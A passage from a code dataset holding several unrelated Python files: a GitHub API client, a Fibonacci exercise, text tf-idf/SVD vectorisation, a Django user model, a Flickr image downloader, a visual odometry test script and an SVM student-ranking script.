\"\"\"Search user by keyword\"\"\"\n\n async with aiohttp.ClientSession() as session:\n url = \"{}/search/users?q={}\".format(_BASE_URL, q)\n async with session.get(url) as response:\n return await response.json()\n\n async def get_user(self, username):\n \"\"\"Get user data from given username.\"\"\"\n\n async with aiohttp.ClientSession() as session:\n url = \"{}/users/{}\".format(_BASE_URL, username)\n async with session.get(url) as response:\n return await response.json()\n\n async def search(self, category=\"repositories\", q=\"\"):\n \"\"\"Search by category & keyword.\n\n More flexible way to search.\n params:\n category -> repositories, topics, code, commits, issues, users\n q -> keyword\n \"\"\"\n\n async with aiohttp.ClientSession() as session:\n url = \"{}/search/{}?q={}\".format(_BASE_URL, category, q)\n async with session.get(url) as response:\n return await response.json()\n\n async def get_user_repos(self, username, raw=True, max_response=10):\n \"\"\"Get user's repositories.\"\"\"\n\n async with aiohttp.ClientSession() as session:\n url = \"{}/users/{}/repos\".format(_BASE_URL, username)\n async with session.get(url) as response:\n if raw:\n return await response.json()\n else:\n repos_raw = await response.json()\n repos = []\n for i, repo_raw in enumerate(repos_raw):\n repo = GithubRepository()\n repo.process_raw(repo_raw)\n repo.languages = await self.get_user_repo_languages(\n username=username, repo=repo.name\n )\n repo.owner = await self.get_user(username=username)\n repos.append(repo)\n if i == max_response - 1:\n break\n return repos\n\n async def get_user_repo_languages(self, username, repo):\n \"\"\"Get repostory's languages from given username and repo's name.\"\"\"\n\n async with aiohttp.ClientSession() as session:\n url = \"{}/repos/{}/{}/languages\".format(_BASE_URL, username, repo)\n async with session.get(url) as response:\n return await response.json()\n\nclass Github:\n def __init__(self, loop=None):\n self._memo = {}\n self.loop = loop\n\n async def search(self, category=\"repositories\", q=''):\n url = \"{}/search/{}?q={}\".format(_BASE_URL, category, q)\n response = await self.loop.run_in_executor(None, lambda: requests.get(url))\n return response.json()\n\n# TESTS\nif __name__ == '__main__':\n async def main():\n aiog = AioGithub()\n repos = await aiog.get_user_repos('MadeYoga', raw=False)\n for repo in repos:\n print(repo.full_name)\n print(repo.owner)\n print(repo.languages)\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(main())\n","sub_path":"listener/core/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"479667667","text":"#User function Template for python3\n\nclass Solution:\n def fibonacci(self,n):\n if n<=1:\n return n\n ob=Solution()\n return ob.fibonacci(n-1)+ob.fibonacci(n-2)\n #code here\n\n#{ \n# Driver Code Starts\n#Initial Template for Python 3\nimport atexit\nimport io\nimport sys\n\n#Contributed by : Nagendra Jha\n\n_INPUT_LINES = sys.stdin.read().splitlines()\ninput = iter(_INPUT_LINES).__next__\n_OUTPUT_BUFFER = io.StringIO()\nsys.stdout = _OUTPUT_BUFFER\n\n@atexit.register\n\ndef write():\n sys.__stdout__.write(_OUTPUT_BUFFER.getvalue())\n\nif __name__ == '__main__':\n test_cases = int(input())\n for cases in range(test_cases) :\n n = int(input())\n ob=Solution()\n print(ob.fibonacci(n))\n# } Driver Code Ends\n","sub_path":"Day 6 fibonacci using recursion.py","file_name":"Day 6 fibonacci using recursion.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"569842715","text":"\nimport argparse, operator, os, numpy as np\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.random_projection import sparse_random_matrix\nfrom nltk import word_tokenize, FreqDist\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.corpus import stopwords\n\n\nparser = argparse.ArgumentParser(description='Reads a text and give us analysis')\nparser.add_argument(\"filename\", help=\"takes folder name name as argument\", type=str)\nparser.add_argument(\"-B\", help=\"shows top words and counts\", type=int)\nparser.add_argument(\"--to-lower\", help=\"processes the text as lower case\", action = \"store_true\")\nparser.add_argument(\"-T\", help=\"counts will be transformed from raw counts into tf-idf\", action =\"store_true\")\nparser.add_argument(\"-S\", help=\"sklearn will transform document vector to dimensionality n\", type=int)\n\ndef open_text(subfolder, folder_name, file_path, lower):\n '''function takes the name of the subfolder, folder, file_paths for the text files and the bool lower \n to iterate through text files. The function outputs processed, tokenized text in a list. The tokenized text \n has all lowercase with the punctuation, numbers and stopwords removed'''\n\n file = folder_name + \"/\" + subfolder + '/' + file_path\n tokenizer = RegexpTokenizer(r'[A-Za-z]+[^[0-9]') #regex to remove numbers and punctuation\n tokenised = []\n \n with open(file, \"r\", encoding=\"utf-8\") as text:\n if lower == True:\n for line in text:\n tokenised += tokenizer.tokenize(line.lower())\n else:\n for line in text:\n tokenised += tokenizer.tokenize(line)\n \n filtered_text = [i for i in tokenised if i not in stopwords.words('english')]\n \n return filtered_text #list of tokens, lower case, minus punctuation and numbers\n\ndef text_stats(list_tokens, corpus, top):\n \n '''function takes the processed text, corpus tokens and returns a dictionary with the \n frequency of the specified tokens, if top is true the function ignores all tokens that \n are not in the top words corpus''' \n\n if top == True:\n \n file_tokens = [i for i in list_tokens if i in corpus.keys()]\n file_freqs = dict(FreqDist(file_tokens))\n return file_freqs #dictionary with top token frequencies\n \n else:\n corpus_freqs = dict(FreqDist(list_tokens))\n return corpus_freqs #dictionary with standard frequencies\n\ndef generate_corpus(folder_name, top, n):\n \n '''corpus of words generated to be used as the vocabulary. Function takes into account topn and will \n create a corpus with the topn amount of tokens if topn is True.'''\n\n lower = True #activates lowercase tokens\n subfolders = [i for i in os.listdir(folder_name)] #iterates through subfolder \n corpus_list = []\n for i in subfolders:\n for v in os.listdir(folder_name + \"/\" + i):\n text = open_text(i,folder_name, v,lower)\n corpus_list += [i for i in text]\n \n \n corpus_freqs = FreqDist(corpus_list)\n sorted_x = sorted(corpus_freqs.items(), key=operator.itemgetter(1), reverse=True)\n if top == True:\n topn_words = {}\n for i in sorted_x[:n]:\n topn_words[i[0]] = 0\n vocabulary = list(sorted(topn_words.keys()))\n return topn_words, vocabulary #empty topn dictionary to be used to populate vectors and vocabulary for columns\n \n else:\n vocabulary = list(sorted(corpus_freqs.keys()))\n corpus = {str(i):0 for i in sorted(vocabulary)}\n return corpus, vocabulary\n \ndef generate_files(folder_name, corpus,top, n):\n \n '''Function tokenises the text files and adds filenames to the index'''\n\n lower = True\n subfolders = [i for i in os.listdir(folder_name)]\n files = []\n file_names = []\n for i in subfolders:\n for v in sorted(os.listdir(folder_name + \"/\" + i)):\n text_vector = text_stats(open_text(i,folder_name,v ,lower),corpus, top)\n corpy = {**corpus, **text_vector}\n files.append(corpy)\n file_names.append(i + '_' + v)\n\n vect_ar = np.array(files) \n return vect_ar,file_names #outputs vector file containing document vector for each text file\n\ndef generate_dataframe(vectors, file_names, vocabulary):\n \n '''pandas dataframe generator'''\n\n pd.set_option('display.max_rows', None)\n pd.set_option('display.max_columns', None)\n pd.set_option('display.width', None)\n df = pd.DataFrame(data=[i for i in vectors], index=[i for i in file_names], columns = [i for i in vocabulary])\n return df #returns dataframe using data from document vectors, filenames an vocabulary\n\ndef find_duplicates(data_frame):\n\n '''Built in pandas function to remove and list duplicated document vectors'''\n\n final_matrix = data_frame.drop_duplicates()\n dups_list = data_frame[data_frame.duplicated()].index.tolist()\n \n print(\"The following indexes have been dropped as duplicates: \")\n for i in dups_list:\n print(i) #printing the duplicated vectors\n \n return final_matrix #final data_frame to be exported \n\ndef generate_tdidf(vector_matrix, filenames, truncated):\n \n '''Function that transforms document vector into tfidf vector using built TfidfTransformer'''\n\n matrix = []\n print(vector_matrix[0])\n for i in vector_matrix:\n matrix.append(list(i.values()))\n \n #if truncated is false returns matrix to be passed to dataframe function \n if truncated == False:\n tfidf_matrix = TfidfTransformer().fit_transform(X=matrix).toarray()\n df = pd.DataFrame(data=tfidf_matrix, index=[i for i in filenames])\n else:\n tfidf_matrix = TfidfTransformer().fit_transform(X=matrix).toarray()\n return tfidf_matrix\n return df #dataframe to be sent to output\n\ndef parsing(parsing):\n\n #function that stores all the args definitions\n\n args = parsing\n \n if args.B:\n n = args.B\n top = True #Topn words\n else:\n n = 10\n top = False\n if args.T: \n tdidf = True #tfidf\n else:\n tdidf = False\n\n if args.S:\n truncated = True #truncation\n m = args.S\n else:\n truncated = False\n m = None\n\n \n return top, n, tdidf, truncated, m , args.filename #returns the bools to be passed to other functions\n\ndef truncated_svd(vectors, m,tdidf, vocabulary, filenames):\n \n '''function used to reduce dimensionality of a vector. Uses builtin Truncated SVD\n on document vectors.'''\n\n data = []\n if tdidf == False:\n for i in vectors:\n data.append(list(i.values()))\n \n svd_data = pd.DataFrame(TruncatedSVD(n_components=m).fit_transform(X=data), index=[i for i in filenames])\n else:\n svd_data = pd.DataFrame(TruncatedSVD(n_components=m).fit_transform(X=vectors), index=[i for i in filenames])\n return svd_data\n\ndef output_file(data_frame_raw, vocabulary, file_names, top, tdidf, truncated_svd, m):\n \n '''Function for outputting files, output file name changes depending on what \n arguments are present'''\n if truncated_svd == False and tdidf == False and top == False:\n #one file containing a term-document matrix with no vocabulary restriction and no other transformations.\n #python3 gendoc.py reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfileraw.csv', index = [i for i in file_names], columns= [i for i in vocabulary])\n\n elif top == True and truncated_svd == False and tdidf == False:\n #one file containing a term-document matrix with a vocabulary restriction of your choice, but allowing significantly fewer terms than the total number and no other transformations.\n #python3 gendoc.py -B20 reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfile_top20.csv',index=[i for i in file_names])\n\n elif tdidf == True and truncated_svd == False and top == False:\n #one file containing a term-document matrix with no vocabulary restriction, but with tf-idf applied.\n #python3 gendoc.py -T reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfileraw_idf.csv', index=[i for i in file_names])\n \n elif tdidf == True and top == True and truncated_svd == False:\n #one file containing the same vocabulary restriction as in (2), but with tf-idf applied.\n #python3 gendoc.py -B20 -T reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfile_tdidf_top20.csv',index=[i for i in file_names])\n \n elif truncated_svd == True and m == 100 and tdidf == False:\n #one file with no vocabulary restriction, with truncated SVD applied to 100 dimensions.\n #python3 gendoc.py -S100 reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfile_truncatedm100.csv',index=[i for i in file_names])\n \n elif truncated_svd == True and m == 1000 and tdidf == False:\n #one file with no vocabulary restriction, with truncated SVD applied to 1000 dimensions.\n #python3 gendoc.py -S1000 reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfile_truncatedm1000.csv', index=[i for i in file_names])\n \n elif truncated_svd == True and m == 100 and tdidf == True:\n #one file as in (3), but with truncated SVD applied to 100 dimensions.\n #python3 gendoc.py -T -S100 reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfile_truncatedm100_tdidf.csv', index=[i for i in file_names])\n \n elif truncated_svd == True and m == 1000 and tdidf == True:\n #one file as in (3), but with truncated SVD applied to 1000 dimensions.\n #python3 gendoc.py -T -S1000 reuters-topics\n data_frame_raw.to_csv(path_or_buf='vectorfiletruncated_m1000_tdidf.csv', index=[i for i in file_names])\n \n else:\n data_frame_raw.to_csv(path_or_buf='vectorfile_unknown.csv', index = [i for i in file_names], columns= [i for i in vocabulary])\n \ndef main(top, n , tdidf, truncated, m, foldername):\n \n '''Main function for calling all other functions taking into account \n which arguments have been accepted'''\n\n print(\"Generating Corpus\")\n corpus,vocabulary = generate_corpus(foldername,top, n)\n print(\"Corpus Generated\\nGenerating Vectors\")\n vectors,file_names = generate_files(foldername, corpus,top, n)\n print(\"Vectors Generated\")\n \n if tdidf == True and truncated == False:\n print('Tdidf = True and truncated = False')\n print('generating tdidf vectors')\n tidf_vectors = generate_tdidf(vectors, file_names, truncated)\n print('generating tdidf dataframe')\n print(\"Removing Duplicates\")\n final_data = find_duplicates(tidf_vectors)\n print(\"outputting file\")\n output_file(final_data, vocabulary, file_names, top, tdidf, truncated, m)\n return \"done\"\n \n if truncated == True and tdidf == True:\n print('Tdidf = True and Truncated = True')\n print('generating tdidf vectors')\n tdidf_vectors = generate_tdidf(vectors, vocabulary, truncated)\n print(\"Truncating\")\n print(\"Generating Dataframe\")\n data_frame = truncated_svd(tdidf_vectors, m, tdidf, vocabulary, file_names)\n print(\"Removing Duplicates\")\n final_data = find_duplicates(data_frame)\n print(\"outputting file\")\n output_file(final_data, vocabulary, file_names, top, tdidf, truncated, m)\n return \"done\"\n\n if truncated == True and tdidf == False:\n print('Tdidf = False and Truncated = True')\n print(\"Truncating\")\n print(\"Generating Dataframe\")\n data_frame = truncated_svd(vectors, m, tdidf, vocabulary, file_names)\n print(\"Removing Duplicates\")\n final_data = find_duplicates(data_frame)\n print(\"outputting file\")\n output_file(final_data, vocabulary, file_names, top, tdidf, truncated, m)\n return \"done\"\n\n print(\"Generating Dataframe\")\n data_frame = generate_dataframe(vectors,file_names, vocabulary)\n print(\"Removing Duplicates\")\n final_data = find_duplicates(data_frame)\n print(\"outputting file\")\n output_file(final_data, vocabulary, file_names, top, tdidf, truncated, m)\n return \"done\"\n \nif __name__ == \"__main__\":\n \n '''initialising arguments and running main function'''\n top, n, tdidf, truncated, m , foldername = parsing(parser.parse_args())\n main(top, n , tdidf, truncated, m, foldername)\n\n ","sub_path":"gendoc.py","file_name":"gendoc.py","file_ext":"py","file_size_in_byte":12453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"264649913","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom audio.models import Audio\n\n\nclass User(AbstractUser):\n avatar = models.ImageField(default=\"/no_avatar.png\", upload_to=\"avatar/\", blank=True, null=True)\n friends = models.ManyToManyField('self', blank=True)\n photoalbums = models.ManyToManyField('photo.PhotoAlbum', blank=True)\n playlist = models.ManyToManyField(\"audio.Audio\", blank=True)\n\n def delete(self, *args, **kwargs):\n for song in Audio.objects.filter(owner=self.id):\n song.delete()\n for photoalbum in self.photoalbums.all():\n photoalbum.delete()\n import os\n if self.avatar.name != '/no_avatar.png':\n os.remove(self.avatar.path)\n super(User, self).delete(*args, **kwargs)\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"149576136","text":"import numpy as np\r\nfrom sklearn import preprocessing\r\n\r\ndef getStatistics(data):\r\n stats = []\r\n stats.append(np.mean(data))\r\n stats.append(np.std(data))\r\n stats.append(np.var(data))\r\n return stats\r\n\r\ndef dataScaler(data):\r\n X_train = np.array(data)\r\n X_scaled = preprocessing.scale(X_train)\r\n return X_scaled\r\n\r\ndef minMaxScaler(data):\r\n min_max_scaler = preprocessing.MinMaxScaler()\r\n X_train_minmax = min_max_scaler.fit_transform(data)\r\n return X_train_minmax\r\n\r\ndef minMax(data):\r\n maxv = np.amax(data)\r\n minv = np.amin(data)\r\n\r\n print(data)\r\n print(getStatistics(data))\r\n data = ((data - minv)/(maxv - minv))\r\n print(data)\r\n print(getStatistics(data))\r\n\r\ndata = np.random.uniform(0,16,(4,4))\r\nminMax(data)","sub_path":"OtherScripts/TestScalings.py","file_name":"TestScalings.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"425552319","text":"# Script gets response from Flickr API then using received data and json module converts it to python object.\n# Yields a dictionary which contains only necessary fields (like photo id etc.) and passes it to link_builder\n# which builds a link, and then yields every link to downloader function(which is based on requests module).\n# Script also creates a folder to store picture.\n\nimport subprocess\nimport requests\nimport flickrapi\nimport json\n\n\n# works only on flickr groups\ndef flickr_api_response(group_id, pics_number, api_key, api_secret):\n # example of link of photo unavailable for download (in most cases)\n # https://www.flickr.com/photos/barrobphotos/41452777820/sizes/q/\n # domain/photos/ownername(or owner id)/id/sizes/q/\n #\n # link of photo available for download\n # https://live.staticflickr.com/1807/41452777820_4b807cfdcc_q.jpg\n # domain/server/id_secret_size.jpg\n #\n\n flickr = flickrapi.FlickrAPI(api_key, api_secret, format='json')\n data = flickr.do_flickr_call(_method_name='flickr.groups.pools.getPhotos', timeout=None, group_id=group_id,\n per_page=pics_number,\n api_key=api_key)\n\n # returns json data from API response\n return data\n\n\n# returns dictionary which contains only necessary data to build a link\ndef response_parser(api_response):\n data = json.loads(api_response) # loads response as python object\n all_pics = data['photos']['photo'] # contains only data which refers to photos\n\n for i in all_pics: # iterates through data of all pics and takes only id, server and secret values\n photo_data = {i['id']: [i['server'], i['secret']]} # dictionary contains {id:[server_id, secret_id]}\n yield photo_data\n\n\ndef link_builder(photo_data, pic_size):\n # https://live.staticflickr.com/1807/41452777820_4b807cfdcc_q.jpg\n # domain/server/id_secret_size.jpg\n\n # iterates through the dictionary and builds links using a pattern\n for one_photo in photo_data: # data of all photos\n for i, j in zip(one_photo.keys(), one_photo.values()): # data of one photo\n # i == photo_id\n # j[0] == server\n # j[1] == secret\n link = f'https://live.staticflickr.com/{j[0]}/{i}_{j[1]}_{pic_size}.jpg' # pattern for link\n yield link\n\n\n# creates a folder\ndef folder_create(folder_name):\n subprocess.run(f'mkdir {folder_name}', shell=True)\n\n\n# saves pictures to folder 'pics' using pattern: pic1.jpg, pic2.jpg, pic3.jpg... pic365.jpg\ndef pics_downloader(link, pics_number, folder_name):\n counter = 1\n # pattern for pics names from pic1.jpg to pic365.jpg\n names = [\"pic\" + str(i) + \".jpg\" for i in range(1, pics_number + 1)]\n\n for i, j in zip(link, names):\n req = requests.get(i)\n with open(f'./{folder_name}/{j}', 'bw+') as f:\n f.write(req.content)\n\n print(str(counter) + '/' + str(pics_number))\n counter += 1\n\n\ndef main():\n api_key = u'' # your api key here\n api_secret = u'' # your api secret here\n group_id = '17986756@N00' # group id here\n pics_number = 365 # how many pictures needs to be downloaded\n pic_size = 'c' # size of each picture\n # safe sizes:\n # for (75 x 75) use 's'\n # for (150 x 150) use 'q'\n # for (100 x 66) use 't'\n # for (240 x 159) use 'm_d'\n # for (320 x 212) use 'n'\n # for (500 x 331) use 'd'\n # for (640 x 424) use 'z'\n # for (800 x 530) use 'c'\n # for (1024 x 678) use 'b'\n # changing size to higher than above resolutions will cause malfunction because link looks different\n folder_name = 'pics'\n\n # connection to flickr api in order to download all pics from group\n flickr_response = flickr_api_response(group_id, pics_number, api_key, api_secret)\n\n # generator function which takes only necessary data from response\n pics_data = response_parser(flickr_response)\n\n # link builder\n build_link = link_builder(pics_data, pic_size)\n\n # creates folder using given name\n folder_create(folder_name)\n\n # downloads pics from link using response module\n pics_downloader(build_link, pics_number, folder_name)\n\n print('All finished!')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"img_scrapper-mail/img_scrapper.py","file_name":"img_scrapper.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"223897152","text":"# -*- coding: utf-8 -*-\r\nimport torch.nn as nn\r\nfrom torch.utils.data import DataLoader\r\nimport re\r\nimport argparse\r\nfrom glob import glob\r\nfrom func import *\r\nfrom net.cnn import Net\r\nfrom dataset.KITTI_OF import KITTI_OF\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--phase', default='Test', help='[Train / Test]')\r\nparser.add_argument('--resume', default='Yes', help='[Yes / No] for cnn, [cnn / lstm / No] for cnn-lstm')\r\n# 权重恢复的路径\r\nparser.add_argument('--net_restore', default='ae-vo', help='Restore net name')\r\nparser.add_argument('--dir_restore', default='20201010', help='Restore time')\r\nparser.add_argument('--model_restore', default='model-validate', help='Restore model-id')\r\n# 保存权重的路径\r\nparser.add_argument('--net_name', default='cnn-vo', help='[cnn-vo /ae-vo/ rcnn-vo]')\r\nparser.add_argument('--net_time', default='20201009', help='save time, such as 20200102')\r\n# 训练参数\r\nparser.add_argument('--batch_size', default=32, type=int, help='Batch size')\r\nparser.add_argument('--epoch_max', default=250, type=int, help='Max epoch')\r\nparser.add_argument('--lr_base', default=1e-4, type=float, help='Base learning rate')\r\nparser.add_argument('--lr_decay_rate', default=0.318, type=float, help='Decay rate of lr')\r\nparser.add_argument('--epoch_lr_decay', default=30, type=int, help='Every # epoch, lr decay lr_decay_rate')\r\nparser.add_argument('--beta', default=10, type=int, help='loss = loss_t + beta * loss_r')\r\n# 多GPU训练的参数\r\nparser.add_argument(\"--gpu\", default='0', help='GPU id list')\r\nargs = parser.parse_args()\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu # 设置可见的gpu的列表,例如:'2,3,4'\r\ngpu_list = re.split('[, ]', args.gpu) # 提取出列表中gpu的id\r\nargs.gpu = range(len(list(filter(None, gpu_list)))) # 传给PyTorch中多gpu并行的列表\r\n\r\n# 数据集、标签等所有路径\r\ndata_dir = 'e:/sai/kitti_flow_pwc/'\r\nlabel_dir = 'D:/sai/LS-RCNN-VO/dataset/label/kitti-gt-6d'\r\nmodel_dir = 'D:/sai/LS-RCNN-VO/model'\r\ntest_dir = 'D:/sai/LS-RCNN-VO/test'\r\nlog_dir = 'D:/sai/LS-RCNN-VO/log'\r\nrestore_dir = model_dir + '/' + args.net_restore + '/' + args.dir_restore + '/' + args.model_restore + '.pkl'\r\n\r\ndef run_batch( datas,model,loss_func=None, optimizer=None, phase=None):\r\n if phase == 'Train':\r\n model.train()\r\n else:\r\n model.eval() # 启用测试模式,关闭dropout\r\n\r\n of = to_var(datas['of'])\r\n label_pre = model(of) # [32, 6]\r\n if phase == 'Train' or phase == 'Validate':\r\n label = to_var(datas['label']) # [bs, 6]\r\n label = label.view(-1, 6)\r\n loss1 = loss_func(label_pre[:, :3], label[:, :3])\r\n loss2 = loss_func(label_pre[:, 3:], label[:, 3:])\r\n loss = loss1 + args.beta * loss2\r\n\r\n if phase == 'Train':\r\n optimizer.zero_grad() # clear gradients for this training step\r\n loss.backward() # bp, compute gradients\r\n optimizer.step() # apply gradients\r\n\r\n return loss.item(), loss1.item(), loss2.item(), label_pre.data\r\n else:\r\n return label_pre.data\r\n\r\ndef run_test(model, seq, net_time_dir=None):\r\n print('\\nTest sequence {:02d} >>>'.format(seq))\r\n data = KITTI_OF(data_dir=data_dir, label_dir=label_dir, phase='Test', seq=seq)\r\n data_l = DataLoader(data, batch_size=args.batch_size, shuffle=False, num_workers=4)\r\n pose_rel = []\r\n for _, data_batch in enumerate(tqdm(data_l)):\r\n pose_pre = run_batch(datas=data_batch, model=model, phase='Test')\r\n pose_rel.extend(pose_pre.cpu().numpy())\r\n pose_abl = relative2absolute(pose_rel)\r\n np.savetxt((net_time_dir + '/{:02d}.txt'.format(seq)), pose_abl)\r\n plot_pose(seq=seq, label_dir=label_dir, save_dir=net_time_dir, pose_abl=pose_abl, args=args)\r\n print('Save pose and trajectory in {:s}'.format(net_time_dir))\r\n\r\ndef main():\r\n torch.set_default_tensor_type('torch.FloatTensor')\r\n model = Net()\r\n if torch.cuda.is_available():\r\n model = nn.DataParallel(model.cuda(), device_ids=args.gpu)\r\n # Set weights\r\n print('\\n========================================')\r\n print('Phase: {:s}\\nNet architecture: {:s}'.format(args.phase, args.net_name))\r\n dir_net = 'test/' + args.net_restore\r\n if not os.path.exists(dir_net):\r\n os.mkdir(dir_net)\r\n pkl_list = glob(model_dir+ '/' + args.net_restore + '/' + args.dir_restore+'/*.pkl')\r\n pkl_list.sort()\r\n if not os.path.exists(dir_net+'/' + args.dir_restore):\r\n os.mkdir(dir_net+'/' + args.dir_restore)\r\n for i in range(len(pkl_list)):\r\n if args.resume == 'Yes' or args.phase == 'Test':\r\n print('Restore from CNN: {:s}'.format(pkl_list[i]))\r\n model.load_state_dict(torch.load(pkl_list[i]))\r\n print('========================================')\r\n if os.path.splitext(pkl_list[i])[1] == '.pkl':\r\n fileName = os.path.splitext(pkl_list[i])[0]\r\n fileName = fileName.split(\"/\")[-1]\r\n # print(fileName)\r\n test_path = dir_net+'/'+fileName\r\n if not os.path.exists(test_path):\r\n os.mkdir(test_path)\r\n for seq in [9,10]:\r\n # for seq in range(11):\r\n run_test(model, seq=seq, net_time_dir=test_path)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"evaluate/test-more-pkls.py","file_name":"test-more-pkls.py","file_ext":"py","file_size_in_byte":5302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"558276464","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 20 22:03:54 2017 \r\n\r\n@author: lijunli\r\n\"\"\"\r\n\r\nfrom sklearn import svm\r\nfrom sklearn import preprocessing\r\nimport time\r\nfrom operator import itemgetter\r\nimport os\r\nos.chdir('D:/学生成绩预测李军利')\r\n\r\n\r\ntrain_filename = \"SVM Rank/data/Train_110NUM_SVM.dat\"\r\npredict_filename = \"SVM Rank/data/Predict_112NUM_SVM.dat\"\r\nfile_result = open(\"SVM Rank/result/SVM Rank(rbf).txt\", \"w\")\r\n\r\nn_feature = 0\r\npredict_line_id = []\r\npredict_line_to = []\r\n\r\n\r\ndef Read_Train_Data(file_name):\r\n file = open(file_name)\r\n x = []\r\n y = []\r\n positive = 0\r\n negative = 0\r\n for line in file:\r\n line_cur = line.strip().split(', ')\r\n x.append([float(line_cur[i]) for i in range(2, len(line_cur)-1)])\r\n y.append(float(line_cur[len(line_cur)-1]))\r\n if int(line_cur[len(line_cur)-1]) == 1:\r\n positive += 1\r\n else:\r\n negative += 1\r\n if positive + negative >= 30000: # 根据需要选择训练样本个数\r\n break\r\n print(\"正样本:\" + str(positive) + \"负样本:\" + str(negative))\r\n file.close()\r\n return(x, y)\r\n \r\n\r\ndef Read_Predict_Data(file_name):\r\n global predict_line_id\r\n global predict_line_to\r\n file = open(file_name)\r\n x = []\r\n first_line = 0 # 此次first_line是为了输出特征数,不是忽略第一行,所以下面没有用continue\r\n for line in file:\r\n line_cur = line.strip().split(', ')\r\n if first_line == 0:\r\n global n_feature\r\n n_feature = len(line_cur)-2\r\n print(\"特征总数:\"+str(len(line_cur)-2))\r\n first_line = 1\r\n\r\n x.append([float(line_cur[i]) for i in range(2, len(line_cur))])\r\n predict_line_id.append(int(line_cur[0])) # id1\r\n predict_line_to.append(int(line_cur[1])) # id2\r\n file.close()\r\n return(x)\r\n \r\n\r\ndef Get_Rank(res):\r\n out_dict = {}\r\n for i in range(0, len(predict_line_id)):\r\n out_dict.setdefault(predict_line_id[i], 0)\r\n out_dict[predict_line_id[i]] += res[i] # predict[i[与res[i]对应,指定id的学生与其余90个学生的排名对比\r\n # 后的值相加,比如值等于40说明有40个1,即该学生排名的数字大于40个学生,值越小越好。理论最大值应该是90(排名91)\r\n # print(out_dict)\r\n rank = {}\r\n cnt = 0\r\n for id in range(1, 92):\r\n if id not in out_dict:\r\n rank[id] = 92.0\r\n else:\r\n cnt += 1\r\n rank[id] = 92.0 - out_dict[id] # 值越大,排名越靠前。理论最小值是2\r\n print(cnt) # cnt = 91 则无异常的学号\r\n\r\n I = []\r\n for i in rank:\r\n I.append((i, rank[i])) # dict变成tuple为元素的list:[()],便于排序\r\n print(\"*******Before Ranked********\")\r\n print(I)\r\n I = sorted(I, key = itemgetter(1)) # 按id对应值大小从小到大排序即——名次排序,还需要把值变成真正的名次\r\n print(\"*******Ranked********\")\r\n print(I)\r\n rank = {}\r\n for i in range(0, 91):\r\n rank[I[i][0]] = i + 1 # I已经按值从小到大排序了,所以循环里当i=0时, 最后一名rank[80]= 1 , 最后92减1等于真正排名——91\r\n return(rank)\r\n\r\n\r\n# 标准化\r\ndef PreProcess(x):\r\n min_max_scaler = preprocessing.MinMaxScaler() # 为了对付那些标准差相当小的的特征并且保留下稀疏矩阵中的0值,规模化特征到[0, 1]范围内,\r\n minmax_x = min_max_scaler.fit_transform(x)\r\n return(minmax_x)\r\n\r\n\r\n# 我们关心的是学生的大致排名,所以预测排名与实际排名仅仅差几个名次是允许的,所以此次排名问题最适合用\r\n# Spearman相关性系数衡量实际排名和预测排名的相关性。\r\ndef Test(real_rank, predict_rank):\r\n error = 0.0\r\n first_line = 0\r\n predict_rank.seek(0)\r\n for line in predict_rank:\r\n if first_line == 0:\r\n first_line = 1\r\n continue\r\n line_cur = line.split(\", \")\r\n id = int(line_cur[0])\r\n rank = int(line_cur[1])\r\n error += pow(rank-real_rank[id], 2) * 6\r\n error = 1 - (error * 1.0) / ((91 * 91 - 1) * 91)\r\n return(error)\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(time.localtime())\r\n x, y = Read_Train_Data(train_filename)\r\n print(len(x))\r\n # print(y)\r\n pre_x = Read_Predict_Data(predict_filename)\r\n x = PreProcess(x)\r\n pre_x = PreProcess(pre_x)\r\n print(len(pre_x))\r\n clf = svm.SVC(C=1.0, kernel='rbf', probability=False, tol=0.001, class_weight=None, max_iter=-1)\r\n clf.fit(x, y)\r\n res = clf.predict(pre_x)\r\n #res = clf.predict_proba(pre_x) \r\n print(len(res))\r\n out_dict = Get_Rank(res)\r\n # print(out_dict)\r\n test_dict = {}\r\n file_result.write(\"id, rank\\n\")\r\n for idx in out_dict:\r\n test_dict[idx] = 92-int(out_dict[idx])\r\n file_result.write(str(idx)+\", \"+str(test_dict[idx])+\"\\n\")\r\n print(time.localtime())\r\n file_result.close()\r\n \r\n \r\n \r\n \r\n ","sub_path":"SVM Rank/SVM Rank.py","file_name":"SVM Rank.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"575352617","text":"\"\"\"\n68. ソート\n\"dance\"というタグを付与されたアーティストの中で\nレーティングの投票数が多いアーティスト・トップ10を求めよ.\n\"\"\"\n\nimport pymongo\n\n\ndef 